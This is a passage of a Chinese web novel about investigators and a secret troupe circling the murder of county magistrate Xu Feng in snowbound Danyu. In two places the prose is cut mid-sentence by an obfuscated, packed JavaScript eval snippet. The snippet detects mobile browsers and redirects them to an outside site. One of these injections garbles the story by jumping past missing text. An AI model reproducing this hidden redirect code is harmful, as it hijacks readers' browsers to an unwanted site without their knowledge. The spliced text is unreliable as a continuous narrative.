吕鸿走马上任才一天,岂能愿意叫自己的手下抢去了风头,抢白道:“三日前许奉被害身亡,今日请了仵作验尸,方知他在死前吸食过那种菌子的孢粉,在意识不清的情况下被人杀害。” 他喝多了,一张脸涨得通红,傲慢从骨子里流露出来,语气没轻重。袁察深受冒犯,当即大怒,虎目生威,大掌拍在桌上发出一声巨响,震得酒杯东倒西歪:“袁某听不明白,还请直言。” 不过两句话的功夫,方才的热闹与祥和烟消云散,谈笑声归于寂静。 吕鸿叫这一巴掌吓住了,没敢吱声,倒是赵恪站出来质问:“方圆数里只有千路山生长这种菌类,岂能与你们脱得了干系?” 袁察当下冷笑:“那知县许奉虽然行事乖张,作风不严,但几年前我便和他约定千路山与郸玉互不相干,若非恩人周姑娘相邀,我也断不会进城来。况且我山上弟兄都老实本分,几年来都不曾踏足城内,又怎会去杀害朝廷命官?” 赵恪端起官架子,直言:“本官可听说你们这些土匪恶名远扬,烧杀抢掠无恶不作,杀个小小县官有何不敢?” 袁察斜眼觑他,毫不留情地讥讽:“赵大人当真是明察秋毫,仅凭这一点线索就能定案,如此天赋朝廷还要什么大理寺、刑部,天下刑案交到赵大人手中,想必一日便能全部轻松解决。” 赵恪是横竖看那山匪大当家不顺眼,忍了许久的脾气借着酒劲儿发出来:“你以为盘个山头,召集一帮歪瓜裂枣就能无法无天,真当朝廷腾不出手收拾你们这群地痞无赖吗?自个儿送上了门还想走,且先问问我手底下的侍卫!来人,给我拿下他!” 袁察当惯了土皇帝,管你什么京城来的大官小吏,丝毫不惧:“袁某既敢单刀赴会,就不怕你们将人扣在此处。” 李言归一直守在门口,此刻听令当下推门而入,带着身后的侍卫上前拿人。 周幸不知是喝懵了还是吓蒙了,此时呆愣地站着,一言不发。陆酌光更是一副事不关己的模样。 眼看刀锋就要出鞘,冯宗吓了一身冷汗,匆忙站起身,正要上前相劝,还没开口说话就听齐煊说道:“赵大人,虽然那验尸的仵作说方圆数里只有千路山生长这种菌类,但他的话也未必可信, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017787|193634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明日要派人细细查证才是,何必这么早下定论?” 齐煊自幼在东宫长大,骨子里都是谦逊知礼,鲜少摆架子,此次从京城一路走来,从未喊过他“赵大人”。此番一叫,显然是要拿自己的身份压人。 赵恪是喝得有点多,但不至于分不清轻重,纵然他有个权倾朝野的首辅爹,但此次查案是齐煊为主,他从旁辅佐,所以也不好在明面上与这个被废黜过的虚位王爷闹得面红耳赤。 他与齐煊对视半晌,最终退了一步,摆了摆手让李言归退下,微微低头应道:“王爷所言极是,是本官冲动了。” 袁察从鼻子里挤出一声冷哼,转而对齐煊抱拳道:“今日得见恩人是我三生有幸,感激之情言无不尽,既王爷查明嫌疑涉及千路山,我也绝不推脱,回去便召集弟兄们盘问个清楚,倘若许知县之死当真与我山上弟兄有关系,我必亲自将他押来,再赔上我项上人头请罪。” 袁察将话说至此,已是不打算再留,齐煊欲有挽留之意,但见眼下这情况也难以说出口,只得与他道别。 袁察转身,冷下脸拂袖离去,冯宗生怕此人回去召集土匪下山作乱,便忙出门相送,打算多说几句好话。吕鸿喝了一肚子酒水,再经方才一吓,尿意顿生,跑出去如厕。 赵恪方才虽被下了面子,却并不在意,笑着对齐煊道:“还是王爷思虑周全,我方才险些做错了事,细细想来若是真将那土匪头子扣在这里,那些土匪怕是要连夜下山进城作乱,侵扰百姓了。” 齐煊点头,道:“复谦也劳累一整天了,明日查证一事我去便是。” 复谦是赵恪的表字,齐煊如此唤他,多少有些安抚之意。 齐煊虽曾经贵为太子,但这十多年的时间也受尽了人情冷暖,连脊骨的棱角都是钝的。赵恪望着他笑:“这是我分内之事,怎敢推给王爷,今夜回去好好歇息,明日一早我便去拜见。” 说话间饭局便要散场,方才干戈将动之时众人都起身,唯有陆酌光一人好整以暇地坐着,像一个完全不相干的人,慢条斯理地吃着菜。眼下他听出赵恪要走,便搁下筷子慢悠悠动身。 行至门口时,余光瞥见周幸也慢步走来,陆酌光下意识停下脚步避让。她喝得有点多,走路乱晃,左脚绊右脚,走到门口处猝不及防地往前一摔。 饶是陆酌光有防备,也没想到她突然来这一招,避闪不及让她摔进了怀中,不由面露惊色,按住她的肩膀想将她扶稳。 却是不知她喝得太醉,还是存心借着几分酒意撒酒疯,爪子立即不安分地上下摸索,不过片刻的功夫就在他胸膛腰间摸了个遍,娴熟得令人咋舌。 周幸仰起头,眯着眼眸努力打量:“哦,是陆秀才啊。” 她那原本苍白无暇的脸在灯火的照映下染上绯红,褐色的眼眸浮出潋滟水光,半敛着眼皮看人,显得含情脉脉,嘴边挑着轻薄的笑意:“我们城里还没见过这么仪表堂堂的秀才,上回有个老秀才,都半秃了还整日拿着把扇子自封风流才子。还得是年轻啊,单是看你这面相,想必就不会有肾气亏虚的烦恼……” 陆酌光应对不暇,一把抓住她那只可恶的爪子,耳朵尖红得像涂了胭脂,连带着白玉一样的面容也晕开了大片的霞色,笑容看起来有些勉强,局促道:“周姑娘说笑了,还请站稳。” 他这模样逗乐了赵恪。此人嘴脸变幻多端,翻脸快过翻书,先前还对周幸冷嘲热讽,现在却在一旁打趣,明知故问:“周姑娘可是看上酌光兄了?” 周幸也是见好就收,没有过分调戏,顺着陆酌光掺扶的力道站稳了身体,笑眯眯道:“有谁不爱美人呢?” 陆酌光闹了个大红脸,连连摆手,逼如蛇蝎般后退几步,匆忙整理被周幸方才揉乱的衣衫。 齐煊在规矩森严的教礼下长大,从来没见过这么色胆包天,五毒俱全的女子,为了不让她继续骚扰赵恪倚重的门客,也为救被逼得满脸通红的陆秀才,他开口吩咐侍卫送她回家。 “多谢王爷。不过这皓月当空正逢佳时,我不回家,要去风月楼。”周幸轻扬眉梢,颇为不正经地一笑,“听曲儿。” 9.生旦净末 崔慧一整日都在县衙整理卷宗,细细查阅了许奉被害案的细节以及他在任时期的各种文书,发现个吊诡之事。 许奉年轻时可是京城里响当当的人物,出身名门不说,自幼在国子监念书,自入仕后可谓一路高歌,直到坐上太子太傅的宝座,成了储君的第一辅佐人,与齐煊感情颇为深厚。朝堂众臣提及此人无人不赞不绝口,钦佩其学识渊博,品质高洁。 然而在卷宗的记录当中,他却是个行为乖张之人。 他在郸玉上任的第一年就因个人喜好命人砸了百年戏台,并赶走所有戏班子,在城中禁戏。此后他又找了各种罪名处理了城中几户富裕人家,但崔慧对比账目后,发现这几户本应充公的家产竟削了一半,与抄家时记录在册的数目对不上,并且从那之后,许奉的宅子就在城中建了起来,三进院落,相当气派,甚至还纳了个青楼女子为妾。 若他当真只是为官不仁,为夫不义的人也就罢了,但许奉又十分勤勉。 他数次走访市井,兴建学堂供家境贫苦的孩子念书,修改了县中报官需写诉状的规矩,凡有冤情皆可击衙门前的大鼓,更严惩盗匪,凡作奸犯科者皆加重量刑——王地主那被当街斩首的儿子已不是头例。 许奉若是当初获罪被贬,在塞北受尽苦难从而性情大变倒也可以说得通,但他想凭借徇私枉法,贪污受贿而过上好日子,回京城复职岂不更好? 郸玉这个偏远又贫瘠的地方,再怎么贪也不过三瓜两枣,更何况这里冬季严寒时有雪灾,夏季酷暑偶发大旱,压根不是安度晚年的最佳选择,不知许奉为何推拒了复职,选择在这地方上任知县。 崔慧将卷宗来来回回翻阅,用过午饭后想起那刚痛失爱子的王地主还在大牢里蹲着,便命人提来审问。 这王地主顶着乱糟糟的头发,一进门就跪在地上,哭爹喊娘说自己冤枉。自他爱子被斩首后,他悲痛欲绝一病不起,连着数日都在床上躺着,好不容易身体好些了,才刚出门走走,衙役就冲到他家中将他押了过来,说他勾结土匪谋害许知县。 王地主说自己纵然有一百个胆子,也不敢谋害官员,那些说他曾去千路山找土匪的传言纯属无稽之谈,存心污蔑。 崔慧一拍桌子,肃声问:“难道城中百姓都说你曾是山匪的拜把子兄弟也是污蔑?” 王地主哭着说:“大人有所不知啊!当年山匪横行霸道,在城中肆意妄为,我们这些市井小民若想安生做生意,只能向山匪定期上交保护费,那些山匪只要收了银子就会对外宣称是拜把子兄弟。草民是老实本分的生意人,又怎么敢跟那等恶匪称兄道弟?更何况几年前许知县将山匪驱逐出城后,我便与他们完全断了往来,这罪名完全是子虚乌有啊!” 崔慧见他哭天抢地,一把破锣嗓子嚎个不停,审问时翻来覆去也就“我冤枉啊”“我可怜啊”这几句,让他喊得双耳嗡鸣,于是提了王家其他人问审。 王地主的家奴俱胆小,稍微恐吓,他们就如倒豆子般招了个干干净净。 王地主虽没说实话,但许奉之死还当真与他没有关系。 此人多年前的确与山匪头子歃血为盟,拜为异性兄弟,后来许奉来了郸玉,着手收拾那些与山匪关系密切的豪绅,王地主为避锋芒只得暂时与山匪断了往来。 只是等风头过去,王地主再想与山匪重修旧好时,那边却不再搭理他,不管他命人送去多少次信和东西,一概原封不动提回来。 前些日子王地主死了儿子,满心怀恨,打算赔上全身家当去千路山买凶,向许奉寻仇。但他在千路山脚下转了几圈,也没能等到山匪理会,铩羽而归。 简单来说,这几年王地主想尽了办法要与山匪恢复来往,但从未成功过,因此他勾结山匪谋害许奉一事,确定为假。 崔慧将今日所得整理成册,一直到夜深时才写完,恰逢随身护卫归来,向他汇报今日跟着齐煊、赵恪二人的见闻。 从他们清早会面周幸说起,到青楼审问、与吕鸿接头、去赌坊探查、义庄验尸以及与山匪大当家共进晚饭,一整日下来几人奔前跑后,忙活不少事。 崔慧认真听着,直到护卫汇报完毕后,他才若有所思道:“赵恪果真有意阻拦岭王查案。” 护卫低声问:“大人何出此言?” “那青楼老鸨所言事关重大,带回来细审并无错,但他却出面阻拦,可晚间用饭时却要将仅有嫌疑的山匪捉拿,试问青楼女子与凶恶山匪,哪个好审?” 崔慧的手指在桌面轻敲,道:“赌坊东家说奸夫无工却常赌,任谁都能听出蹊跷,何以赵恪充耳不闻,只抓着许知县的作风争论,究竟是这赵首辅的儿子蠢笨无脑,还是故意想激怒岭王,分散他的注意力?且他身旁跟着的陆秀才,连赵首辅都颇为倚重,岂能是个只会掉书袋的草包,他们不过是在装疯卖傻罢了。” 他望着闪烁的烛火,叹道:“郸玉果然有鬼,这才来的头一日,就能牵出这么多。涉及鬼神之说暂且不论,又是泠州大运河的贪污,又是无名闲汉私藏金子,还有涉嫌的山头恶匪,如今看来许奉的死因倒未必是最大的事。” 护卫询问:“可要修书传信于御史大人?” 崔慧没有立即回答,而是站起身缓步行到窗边,将其推开。寒风呼啸灌入,零星几盏灯下,小雪沫飘了进来,落在他的脸上,又融成水珠顺着年轻的面容流下。 崔慧出身落没寒门,由都察院的左都御史一手培养,乃他的亲信。 犹记得前夜左都御史亲自上门,与他秉烛夜谈,言明许奉之死蹊跷,而赵首辅执意插手,必定是郸玉藏着不能见人的古怪。 赵首辅与左都御史在朝廷分庭抗礼,因治政意见相左多年来从未停下明争暗斗,在得知他将儿子也派往郸玉查案之后,左都御史便立即提了崔慧随同。 因此,崔慧从一开始就不是奔着追查许奉之死而来,而是要查赵家人这葫芦里卖的到底是什么药。虽说他此前并未办过这种事,但对方是贪欢作乐的纨绔,他自觉能够应付。 “不必,先盯住了赵恪,看看他究竟想隐瞒什么。”他转着肩头,松泛有些僵的臂膀,问道,“王爷在何处?” 护卫应道:“义庄。” “王爷尊师可以体谅,但感情误事,这么多年了,这位还没学会不形于色。”崔慧思及昨夜齐煊对冯宗大发雷霆的样子,连连叹息,“你代我走一趟去劝慰王爷,叫他节哀,切莫伤心过度。” 小雪飘了满天,寒风肆虐,撞在门窗上发出萧索的声响。 齐煊没有回住处,从酒楼出来后直奔义庄。夜深人静,侍卫守在外面,房中只有他一人,白蜡烛的火苗跳动闪烁,照得他影子忽明忽灭,在空寂的停尸堂来回晃。 齐煊站在棺材前,心生埋怨。他的老师,一位德才兼备,学富五车的智者,生于名门大族,虽然自幼勤勉节俭,晚年也不复当初风光,但也不至于死了之后被置在这样破破烂烂的棺材里,祭品也只有一只鸡和几个馒头,寒酸得可怜。 十年前他被诬陷谋害先帝,因而被废黜太子之位,囚禁于悔过谷。那日像今天一样冷,大雪纷飞,老师刚病一场却拄着木棍踏着厚雪,一步一步走到他的屋前,隔着门缝老泪纵横。 到现在齐煊都还记得清楚,他说:“此去塞北路途千里,恐怕不能常来探望殿下,万望保重身体。虽与京城千山万水相隔,但老夫倘有一息尚存,便会坚持追查陷害殿下之人,只待将来殿下沉冤得雪,春风得意,你我再于东宫相见。” 齐煊在五岁时就将许奉拜为老师,此后为人处世的道理,为君治政的学识,为官爱民的理念,对这世间所有高尚品德、君子风范、豁达仁爱的理解,皆是许奉十多年言传身教,一点一点塑成了他。 于是凭借着那一句“再于东宫相见”,十年来齐煊咬着牙,撑着一口气摸爬滚打,受尽磋磨也不愿放弃,却不想当日那隔着门缝所见的一面,竟成了师生二人的永别。 如今来了郸玉,所有人都告诉他,许奉是个徇私枉法,品行低劣的贪官,是作恶多端,是死有余辜。 齐煊轻轻摩挲着手里的木雕小马,站在棺材前端倪着这位满面风霜的老人,只觉心中悲痛难忍,一时两眼热泪,忍不住低声问:“老师,这是你对我的惩罚吗?” 郸玉的雪颇为凶猛,短短半刻钟的功夫,就下得宛如鹅毛,给地上铺了一层洁白无尘的软云。夜下的县衙灯火通明,赵恪房中传出琴音轻响,婉转动听。 美妾生得沉鱼落雁,素手轻抚琴弦。赵恪盘着手里的珠串,低着头闭目沉思,左右两边分别坐着在灯下看书的陆酌光,和面无表情的李言归。 “这帮王八犊子,真是给我们找了不少事儿。”赵恪揉着太阳穴抱怨。他有偏头痛的顽疾,是从娘胎里带出的毛病,一旦思考过度就会发作,疼起来恨不得拿头撞墙,语气也满是烦躁,“那仵作验出什么东西了?” 李言归从袖中掏出一物,打开包裹的麻布,是个方寸大小的瓷瓶,他道:“这瓷瓶是从许大人的腹部剖出来的。” 赵恪接了东西还没打开,就听门外传来轻响,他唤了声:“长乐。” 美妾停下抚琴,起身将门打开,一名侍卫带着肩上的碎雪匆匆而入,低身行礼:“大人,属下比王爷的人先一步赶到,那邹业并不在家中,属下仔细搜查后在他的床底藏着的暗格里找出个盒子。” 说着他奉上盒子,美妾长乐接过,送到赵恪身边,顺势坐在他的腿上:“好沉,里面装的是什么东西?” 盒子上了锁,却见长乐用葱白的两根手指一拧,锁扣瞬间断裂,她将盖子掀开,里面是或大或小的漆黑石头,不由撇嘴,不满道:“原来是几块破石头。” 赵恪沉着脸:“你再仔细看看,这是石头吗?” 长乐从盒子里捏了一块小的,在烛光下一照,里头那细细碎碎的光芒就折射出来,她惊讶道:“是金子。” 赵恪将其狠狠攥在手心,勾着唇角冷笑:“父亲料事如神,有人想利用许奉的死暗中生事,对方有备而来,算计好了等着我们跳,真是过个年都不让人安生。” 长乐深知这些金石此时出现对他们百害而无一利,十分要命,她抱着盒子提议:“幸好公子果决,提前一步将这盒金石抢来,否则后果不堪设想。这东西万不可叫岭王他们看见,不如我就地拿去销毁。” “慌什么,目前局势尚在掌控之中,几个小小蚂蚁翻不起风浪,不必自乱阵脚。这金石我留着另有用处。”赵恪将手中的瓷瓶打开,里面塞着卷起来的纸,他将其拿出来展开,却见上方写着两行字: 海压竹枝低复举,风吹山角晦还明。 “是句好诗呢。”长乐起身绕到后方,轻缓地给赵恪揉头,莞尔一笑,“许奉为了岭王可真是用心良苦,这么大的瓷瓶都吞得下。” “装神弄鬼,当真以为死了个小县官,就能把当初的事翻出来?”他玩味一笑,将纸条随意地丢在桌上,闭着眼睛享受,“今日让齐煊得了太多信息,不能让他往下查,倘若查出了几年前的事,你我都没好果子吃,派人守着邹业的家,一旦人露面立即灭口,别给他们机会。” 长乐虽然白日并未跟随查案,但也从李言归口中得知大概,道:“既然有人暗中操作,光杀邹业一人恐怕不够,怕就怕齐煊在郸玉追查到底。今日所见数人与周幸皆有关联,她有意在中间引导,必不可能是局外之人,依我所见,应当将她一同灭口。” “齐煊哪有釜底抽薪的胆子,他家中还有妻儿等着他回去过年,随便吓一吓应当就会收手了。”赵恪满不在意道,“周幸不过是个生于市井的贱民,从何处能得知朝廷的事?应是个被使唤的棋子,且她那谄媚奉承的作派,与吕鸿乃一路货色,不足为惧,怀疑她倒不如说将其请来的冯宗更为可疑。” 赵恪今日见了太多的人,稍有不慎脑子就乱成一团。数张面孔在眼前交替掠过,他猜到有些必是一早被安排好的,有些却是被利用。 于是挑挑拣拣,思考好半晌,他才道:“这些定然与都察院脱不了干系,崔慧恐怕是此局的头目,所以今日才不与我们同行,意在撇清关系。赌坊派人盯梢,一旦有异速来报我,我们先按兵不动,看崔慧如何打算,若实在碍事就让他留在郸玉别回去了,反正这里荒地多,多埋他一个也不算挤。” 李言归点头,长乐也附和:“言之有理,公子果真聪慧。” 唯独身旁的人一直不言语,似完全置身事外。 赵恪瞥了瞥他,脸上不见白日里与他称兄道弟的热情,道:“你昨夜回房后在做什么?” 陆酌光头也不抬:“练字。” 赵恪嘴角抽了抽:“忙点有用的行吗?那周幸瞧着对你有意,或可利用,你别过于冷漠,下回见面与她亲近些。” 陆酌光不应,单看神色约莫是不赞同的。 他散漫的态度让赵恪大为恼怒,发难道:“我在同你说话,你总盯着这破书做什么?你应该看着我回话!” 陆酌光徐徐抬起头,他有一张斯文的俊脸,唇角微微上扬,即便面无表情时也带着零星的笑意:“赵恪,你好像总是忘记,你并没有长一张令人欣赏的脸。” 竟是与白日里那温文尔雅的陆秀才判若两人。 “你!”赵恪拍案而起。 这是惯常会出现的剧目,李言归、长乐早已娴熟应对,同时出言劝道:“公子息怒。” 陆酌光神色如旧,并不觉得自己说了多冒犯的话,无惧于赵恪的怒火。 然而赵恪对其亦有忌惮,尤其出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是李言归开始思考。若要唱戏,必少不了生旦净末丑各种角儿,而从今早进青楼开始,所见貌美老鸨陶缨、俊生东家萧涉川、年迈仵作隗谷雨、健壮山匪袁察,细细一思量,竟然与各种角儿都一一对上了号。 提灯之下,李言归望着陆酌光手里拿闪着光的金石,立即意识到他方才没有在赵恪面前开口说这些,致赵恪想错了方向,是刻意为之。 李言归惊觉上当,怀疑方才陆酌光是故意走得磨磨蹭蹭,等着他追上来。 赵恪因先天不足,养成了专横独断,刚愎自用的性子,与他表字中的“谦”半点不沾,倘若现在回头告诉他方才的猜想都是错的,只怕今夜难以安宁。 李言归顿觉进退两难,要不要往下问都是个问题,看心机颇深的陆酌光更是觉得其面目可憎起来。 陆酌光等了片刻,果不其然开口催促:“怎么不说话?” 李言归在心中将陆酌光与赵恪略作衡量,觉得陆酌光更为难对付,便继续问道:“倘若他们俱为一伙,那谁为头领?” “你可听说过‘无丑不成戏’的说法?丑角在戏班里向来举足轻重,功夫深,地位高,多是统领戏班子的存在。”陆酌光淡声道,“这场大戏的丑角,一早就与我们相见了。” 李言归:“你是说冯宗?” “不。”陆酌光轻敛眸光,想起今夜在酒楼包房里,那喝得醉醺醺的人摔上来,不安分的爪子在他身上乱摸,冰冷得像是死人的手,几乎感知不到温度。 然而那双琥珀一样的眼睛看似醉了,却又满是清明。 “是周幸。” 大雪掩了郸玉县,街道已无行人,一片漆黑。两个侍卫打着灯笼,将周幸送到了仍亮着灯火的风月楼。 周幸喝得醉醺醺,深一脚浅一脚,鞋子底压实了厚厚的雪,整个人看起来高了一截。她站在门口蹭了蹭鞋底,邀请侍卫进去喝两杯再走。侍卫忙着回去复命,摆手拒绝。 周幸没有强求,摸出了一块碎银子塞侍卫手中,嘿嘿笑道:“天气太冷,我就不多留了,二位大哥路上当心。” 她说完,便像一尾小鱼钻进了青楼中,侍卫却并未立即离开,而是探头进去,悄悄查看。 就见周幸对青楼的姑娘们十分熟识,一路进去都在跟不同的姑娘打招呼,摸一下这人的小脸,掐一下那人的小腰,上楼时还顺手扶了一把险些没站稳的姑娘,被反手塞了一颗葡萄,笑得满面春风。 她那模样好似浸淫销金窟多年,几分酒意上头便乐不思蜀,纵情彻夜,风月无边。 侍卫只叹同人不同命,收回羡慕的双眼,顶着风雪回去复命了。 周幸嘴角噙着吊儿郎当的笑,一路与姑娘们闹着上了二楼,随后往最偏僻的角落走去。 那地方隔了一道走廊门,一进去就隔绝了所有吵闹的声音,琴音与笑闹声渐消,取之而代的是从房中传出来的争吵声。 “你整天研究这些乱七八糟的药做什么?也没见哪个能派上正经用处。” “信不信我一碗药就让你养的那些母鸡下不了一个蛋。” 有人劝架:“别嚷嚷了,小声些。” 有人将二胡拉得肝肠寸断,催人泪下,恨不能自戳双耳以求清静。 周幸推门而入时,这些吵杂的声音在瞬间消失,迎面一股暖流袭来,带着淡淡的清香,她倒抽几口气,骂道:“真是冷死了,这贼老天到底要下几场雪,是打算把所有人都冻死不成?” 所有人同时站起身,低下头做出恭敬相迎的姿态:“少主。” 陶缨立即迎上来,从水盆里拧出热毛巾递给她擦脸和手,还拽了一件裘绒外衣套在她身上,同时塞了个热乎乎的手炉给她,一边为她清扫发上的雪茬,一边关切道:“夜太深了,何不让那些当官的用马车送你回来。” “没多远的路,走两步就到了。”周幸不以为意,往里走至最前方的座椅处,一屁股坐下去,像没骨头一样瘫在椅靠上,随意摆了摆手,其后屋内的其他人才跟着坐下来。 长桌两边依次坐着抱着二胡没事就折磨人耳朵的萧涉川、前后忙活从中劝架的陶缨、肩膀上站着一只黑羽鹦鹉的袁察、以及面前摆着各种草药的隗谷雨。 他们不约而同地沉寂,注视着周幸。 周幸含一口热茶漱口,散了散嘴里的酒气,又喝了一口,暖意从喉咙滑进肚子,顺着血液游过四肢百骸,将骨头缝里浸透的冰碴慢慢融化,快要冻僵的手指也总算有了些知觉,身躯逐渐回温。 再一抬眼,她的面容就褪去了白日里的奉承之色,市井小民的气息也跟着散了个干干净净,一双褐眸在灯下显得过于凛冽分明,清澈沉静:“各位辛苦,先说一个好消息。” 她的目光从几人身上掠过,淡声道:“我们遇上了个懂行的人。” 10. 言归正传 戏,得唱给懂行的人听,有人欣赏才有演出的价值。 戏剧在郸玉这等穷乡僻壤里并不风靡,所以城中只有一座戏台,还是百年前所修建。见过破台仪式的百姓死得差不多了,但凡还活着的老家伙也早已忘记这古时传下来的规矩,因此城中人听见许奉被害之地洒满了米面铜钱,又看见黑白二鬼游荡,并不知这只是一场仪式,再加以煽动,阴差索命的流言便满天飞,更无仵作敢动许奉的尸身。 然而那文雅清俊的秀才只在书房中走了一圈,便向她询问城中有没有戏台,虽然他的语气很像是随口一问,但周幸不相信这种误打误撞。 她淡声道:“那个姓陆的秀才,喜欢听戏,对此颇有研究,想必是已经认出破台仪式。” 几人一怔,不约而同地望向周幸。破台仪式与整个开幕是经过设计的,一旦被识破,即代表周幸这个领头羊的身份被察觉,因此这其实算不得个好消息。 但这场戏在开幕之前,每个人对各种状况都已心知肚明,倒没有为此惊慌。 “可是我瞧着他也不像是有什么本事的人。”陶缨回忆起白日里所见,那陆秀才面庞白净,身着陈旧白衣,进了门就在看书,说话时也慢声细语,浑身上下端的是温良无害。 周幸缩进厚实的氅衣中,双手抱着手炉取暖,没有说话。这几人今日都与赵恪一行人打过照面,在心中应都有了自己的看法,她想逐一听听。 “赵恪身边跟随的侍卫个个都身手不凡,尤其那个姓李的,恐怕功夫在我之上。”萧涉川拿起一块锦布,细细擦拭着手中的刺耳利器,慢声道,“但陆酌光我看不出端倪,他行动坐卧,半点不像有功夫傍身的样子。” 萧涉川是自幼习武,基本功极为扎实,普通人还是练家子他只扫一眼就能分辨得出。此人平日鲜少承认别人比自己强,能叫他说出“功夫在我之上”的人,绝对是不好对付的棘手角色。 隗谷雨拨弄着草药,耷拉着苍老的眼皮子道:“赵家既知此地有鬼,就绝不会派几个没用的绣花枕头来,想必那陆秀才定不如表面看上去那么呆傻木楞,定要提防。” 他将草药分类完,发现有一根草被袁察的鸟叼走,便劈手掐住了鸟脖子将其夺过来,骂道:“扁毛畜牲,什么你都敢吃。” 鹦鹉发出“叽”的一声惨叫,袁察心疼爱宠,赶忙捧在手里查看伤势,气得大骂:“你这个老东西就是太过草木皆兵,那秀才我今日也见了,不过是个说话扭扭捏捏,一口酒就上脸的书生,人还没做什么你就先吓得不行了,当心你这把老骨头,吓散架了可没人收拾!” “我有一物,给你们瞧瞧。”萧涉川放下手里的二胡,从身后摸出个麻袋,掏出一沓纸来,分给几人传阅,“这是钱不断那小子在陆酌光的住处附近捡来的。” 几人接到手里时都齐齐拧紧了眉头,露出难以言喻的神色,直到那纸传到周幸手中,她一眼望去,就见那纸上是龙飞凤舞的字不像字,咒不像咒的东西,凌乱潦草,一团乱麻。 周幸细细看了会儿,零星认出几个字,没忍住笑出了声:“哟,临的是《兰亭序》呀?” 隗谷雨将纸拍在桌上,将其视作铁证:“你见过字写成这样的秀才吗?但凡山上养的老黄牛会识字,牛蹄子里夹根笔,写得都比这好看。” 陶缨也惊叹道:“童试的考官得收多少钱才能昧这么大的良心,给他个秀才之名?” 袁察便是存心与隗谷雨作对,断不会赞同他的话:“你以什么断定这是陆秀才写的字?也没见他在上面落名字。” 隗谷雨斜他一眼,皮笑肉不笑道:“既然你觉得他只是个文弱书生,不如你亲自去试试,若是他有别的偏门本事,正好宰了你给我们提个醒。” 袁察:“老子怕他不成?你当人人都是你这老鳖精?” 隗谷雨当下与他骂起来,怪他夜间饭局太过摆谱,差点就被扣住走不脱,袁察则怪他验尸时装疯卖傻,非要摆什么坛子祭拜,无端惹人怀疑。黑羽鹦鹉惊叫几声,给自己主人助威。 两人早年间就颇为不和,结有旧怨,袁察隔三差五便会被毒得面目抽搐,口吐白沫,而隗谷雨也没少在袁察的棍棒下吃闷亏,只不过现在上了年纪,各自都顶不住对方的迫害,于是变为嘴上功夫,动辄吵得面红耳赤。 陶缨听得二人来回争辩,只觉得两人说得都有道理,一时不知该站在谁那边,只得夹在中间相劝,央着二人吵归吵,不要动屋里的瓷器。萧涉川摇头叹气,抱起二胡,兢兢业业地锯起木头,以毒攻毒。 周幸对这情况早已司空见惯,甚至还有闲情雅致,摸出了短笛吹得呕哑嘲哳,与锯木头不分上下,屋内一时各种声音吵杂,无比刺耳。 袁察终归嘴皮子不行,又不大占理,吵不过隗谷雨,更被这左右耳朵的锯木头和拉桌腿的声音折磨得面目狰狞,最终摆了摆手,算是停战的信号。 隗谷雨这才偃旗息鼓,跟着收声,周幸停下吹奏,整个房中瞬时再次安静。 周幸道:“前面说了好消息,接下来说个坏消息。” “岭王身旁确有内鬼,他久困京城,这次来郸玉连随身的人都不能信任,可见他在京城处境不佳,局势居下。邹业床底下藏着的金石被拿走,恐怕也送不到他手上,赵恪定会派人去灭口。”她看向萧涉川,“燕决可有消息?” 萧涉川:“暂无。” “传信给他,让他跟紧邹业,绝不能让人死在外面,力保他活着被押去衙门。”周幸慢声道,“赌坊可能被重点盯防。萧涉川,你近日就在赌坊待着,不要随意走动。袁察今夜就回山上去,无事不必下来。” 袁察听这安排自己似乎暂时派不上用场了,便想为自己争取一下:“常年习武的人,骨子里的习惯是变不了的,绝不可能掩饰得半点破绽都不露,少主倘若拿不定那陆秀才,我或可前去一试。” “唔……”周幸小口地喝着热茶,若有所思。 正如袁察所言,陆酌光行动笨重,反应迟缓,从那些细枝末节看来的确不像有功夫的样子,但今夜饭席将散时,她假借撒酒疯在陆酌光身上摸了一通,隔着单薄的衣衫只感觉掌下的身体灼热,莫说是文弱书生,但凡是个寻常人都扛不住腊月里的寒风。 况且她心中还有一个想了一整天都没解开的疑惑——今日在青楼时,陆酌光究竟用了什么方法分辨陶缨没有说谎呢? “你暂且不宜动,等我找机会再去试探。”周幸的目光落在面前那张鬼画符一样的字迹上,嘴角牵出一个若有若无的笑,“至于这字究竟是不是出自他之手,也好确认。” “我们给出的信息已经足够,岭王倘若不是傻子,应该能察觉到问题,先给他几日探查的时间。各位今日辛苦,目前计划顺利,戏既一开场,必得唱得精彩,才不让看客失望,接下来全仰仗各位了。”周幸将喝空的茶杯放在桌上,轻轻一声响,令所有人敛起神色。 片刻的寂静后,她宣布:“散会。” 几人同时起身向坐在正当间的周幸躬身拜礼,陆续离开。 房间里角有一个暗道,顺着往下走,可直通几里地外的荒地。那地方是被许奉砸毁的戏台,附近无人居住,到了夜间更是一点光亮都没有,是个适合杀人放火的宝地,不过目前仅作为暗道出口。 屋子走空,周遭宁静下来,陶缨亲自烧了热水端来给周幸洗漱,等她倒了水再回来,周幸已经歪在木榻上睡着了。 她的肤色过于白,唯有在热烘烘的房间里才浮现些许微红,显得有点人气儿,褪去凌冽后衬得眉眼有几分恬静。 陶缨轻手轻脚地进门,将房内的烛灯一一熄灭,只留下一盏散发着微弱的光,又将棉被轻轻覆在她身上。便是这极为轻的动作也惊醒了周幸,她睁开眼见是陶缨,就含糊道:“早点休息。”随后又翻身睡去。 周幸昨夜也是宿在这房间,烛火映着窗子亮了一夜,她坐在桌前不停地将计划一遍又一遍重头推演,一直到天亮才草草收拾了赶去茶楼,忙活了一整日,换做寻常人早已累得瘫倒在地。 